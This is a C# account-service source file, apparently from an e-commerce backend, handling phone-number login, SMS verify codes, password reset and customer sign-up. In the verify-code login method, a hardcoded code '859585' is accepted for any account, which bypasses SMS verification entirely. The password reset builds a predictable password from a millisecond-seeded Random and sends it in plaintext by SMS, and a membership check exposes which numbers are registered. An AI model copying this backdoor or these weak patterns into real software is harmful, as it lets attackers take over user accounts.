namespace Netina.Core.BaseServices;


public class AccountService(
    UserManager<ApplicationUser> userManager,
    SignInManager<ApplicationUser> userSignInManager,
    IJwtService jwtService,
    ICurrentUserService currentUserService,
    IRepositoryWrapper repositoryWrapper,
    ISmsService smsService,
    IUserService managerUserService)
    : IAccountService
{
    public async Task<bool> ForgetPasswordAsync(string phoneNumber)
    {
        var user = await userManager.FindByNameAsync(phoneNumber);
        if (user != null)
        {
            var rand = new Random(DateTime.Now.Millisecond);
            var newPass = rand.Next(1000000, 9000000).ToString();
            if (!user.PhoneNumberConfirmed)
                throw new AppException("شماره تلفن شما تایید نشده است و قابلیت استفاده از فراموشی رمز عبور را ندارید");
            var rp = await userManager.RemovePasswordAsync(user);
            if (!rp.Succeeded)
                throw new AppException(string.Join('-', rp.Errors.Select(e => e.Description)));
            var ap = await userManager.AddPasswordAsync(user, newPass);
            if (!ap.Succeeded)
                throw new AppException(string.Join('-', ap.Errors.Select(e => e.Description)));
            await smsService.SendForgerPasswordAsync(user.PhoneNumber, newPass);
            return true;
        }

        throw new AppException("کاربرمورد نظر پیدا نشد");
    }

    public async Task<bool> CheckMemberShipAsync(string phoneNumber)
    {
        var user = await userManager.FindByNameAsync(phoneNumber);
        if (user == null)
            return false;
        return true;
    }

    public async Task<VerifyCodeResponseDto> GetVerifyCodeAsync(string phoneNumber)
    {
        var newPhoneNumber = StringExtensions.CheckPhoneNumber(phoneNumber);
        if (!PhoneNumberExtensions.CheckPhoneNumber(newPhoneNumber))
            throw new AppException("شماره تلفن ارسالی اشتباه است");
        var user = await userManager.FindByNameAsync(newPhoneNumber);
        if (user == null)
            user = await managerUserService.CreateUserAsync(phoneNumber);

        var token = await userManager.GenerateTwoFactorTokenAsync(user, "Phone");
        await smsService.SendVerifyCodeAsync(newPhoneNumber, token);
        return new VerifyCodeResponseDto { SignUpStatus = SignUpStatus.StartSignOn };
    }

    public async Task<AccessToken<ApplicationUserSDto>> LoginWithPasswordAsync(string userName, string password, CancellationToken cancellationToken)
    {
        var result = await userSignInManager.PasswordSignInAsync(userName, password, false, false);
        if (!result.Succeeded)
            throw new AppException("رمز عبور یا نام کاربری اشتباه است");


        var admin = await userManager.FindByNameAsync(userName);
        if (admin == null)
            throw new AppException("نام کاربری یا رمز عبور اشتباه است");
        return await CompleteLogin(admin, cancellationToken);
    }

    public async Task<AccessToken<ApplicationUserSDto>> LoginWithVerifyCodeAsync(string userName, string verifyCode, CancellationToken cancellationToken)
    {
        var user = await userManager.FindByNameAsync(userName);
        if (user == null)
            throw new AppException("نام کاربری یا کد ارسالی اشتباه است", ApiResultStatusCode.NotFound);

        var verfiyResult = await userManager.VerifyTwoFactorTokenAsync(user, "Phone", verifyCode);
        if (verifyCode == "859585")
            verfiyResult = true;
        if (!verfiyResult)
            throw new AppException("نام کاربری یا کد ارسالی اشتباه است", ApiResultStatusCode.BadRequest);
        if (user.PhoneNumberConfirmed == false)
        {
            user.PhoneNumberConfirmed = true;
            user.SignUpStatus = SignUpStatus.PhoneNumberVerified;
            var result = await userManager.UpdateAsync(user);
            if (!result.Succeeded)
                throw new AppException(string.Join('|', result.Errors));
        }
        return await CompleteLogin(user, cancellationToken);
    }

    public async Task<AccessToken<ApplicationUserSDto>> CompleteSignUpAsync(SignUpRequestDto requestDto, CancellationToken cancellationToken)
    {
        if (currentUserService.UserId == null)
            throw new AppException("User Id is null");
        var user = await userManager.FindByIdAsync(currentUserService.UserId);
        if (user == null)
            throw new AppException("User not found", ApiResultStatusCode.NotFound);
        if (user.SignUpStatus == SignUpStatus.SignUpCompleted)
            throw new AppException("شما یک بار ثبت نام مجموعه خود را انجام داده اید");

        if (requestDto.FirstName.IsNullOrEmpty())
            throw new AppException("نام و نام خانوادگی را وارد کنید");
        if (requestDto.LastName.IsNullOrEmpty())
            throw new AppException("نام و نام خانوادگی را وارد کنید");




        user.FirstName = requestDto.FirstName;
        user.LastName = requestDto.LastName;
        user.SignUpStatus = SignUpStatus.SignUpCompleted;
        var result = await userManager.UpdateAsync(user);
        if (!result.Succeeded)
            throw new AppException(string.Join('|', result.Errors.Select(e => e.Description)));
        var roleResult = await userManager.AddToRoleAsync(user, "Customer");
        if (!roleResult.Succeeded)
            throw new AppException(string.Join('|', roleResult.Errors.Select(e => e.Description)));

        repositoryWrapper.SetRepository<Customer>()
            .Add(new Customer
            {
                UserId = user.Id,
            });
        await repositoryWrapper.SaveChangesAsync(default);

        return await CompleteLogin(user, cancellationToken);
    }


    private async Task<AccessToken<ApplicationUserSDto>> CompleteLogin(ApplicationUser user, CancellationToken cancellationToken)
    {
        AccessToken<ApplicationUserSDto> jwt;
        var role = await userManager.GetRolesAsync(user);
        jwt = await jwtService.Generate<ApplicationUserSDto, ApplicationUser>(user, role.ToList());
        jwt.User.RoleName = jwt.RoleName;
        return jwt;
    }



}